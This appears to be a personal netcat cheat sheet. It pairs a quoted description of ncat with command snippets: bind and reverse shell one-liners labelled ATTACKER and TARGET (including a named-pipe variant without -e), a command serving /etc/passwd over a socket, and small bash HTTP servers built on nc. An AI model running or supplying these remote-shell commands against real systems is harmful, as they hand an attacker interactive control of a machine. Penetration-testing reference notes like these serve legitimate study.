Skip to content

Netcat

2017-12-10 01:49:05

Documentation

Ncat is a feature-packed networking utility which reads and writes data across networks from the command line. It uses both TCP and UDP for communication and is designed to be a reliable back-end tool to instantly provide network connectivity to other applications and users. Ncat will not only work with IPv4 and IPv6 but provides the user with a virtually limitless number of potential uses. https://nmap.org/ncat/

netcat nc shell

ATTACKER: netcat -lvp 4444
TARGET: netcat 10.18.9.175 4444 -e /bin/bash
-- 
TARGET: netcat -lvp 4444 -e /bin/bash
ATTACKER: netcat 10.10.161.83 4444

netcat without -e

ATTACKER
nc -nvlp 4444

TARGET
mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc 10.18.9.175 4444 1>/tmp/backpipe

or

TARGET
mknod /tmp/backpipe p
/bin/bash 0</tmp/backpipe | netcat 10.18.9.175 4444 1>/tmp/backpipe

simple get call

netcat -C michalszalkowski.com 80
GET / HTTP/1.0
PRESS ENTER PRESS ENTER PRESS ENTER 

serve with static file

sudo netcat -l 127.0.0.1 81 < /etc/passwd

small server

echo '#!/usr/bin/env bash
while true; do
  echo -e "HTTP/1.1 200 OK\\n\\n $(date)" | nc -l -p 81 -q 1
done
' > server.sh && chmod +x server.sh

sudo ./server.sh

small server with static file

echo '#!/usr/bin/env bash
while true; do
  echo -e "HTTP/1.1 200 OK\\n\\n $(cat index.html) <pre>$(date)</pre>" | nc -l -p 81 -q 1
done
' > server.sh && chmod +x server.sh

echo '<HTML><BODY><h1>lorem ipsum</h1><h2>lorem ipsum</h2></BODY></HTML>' > index.html

sudo ./server.sh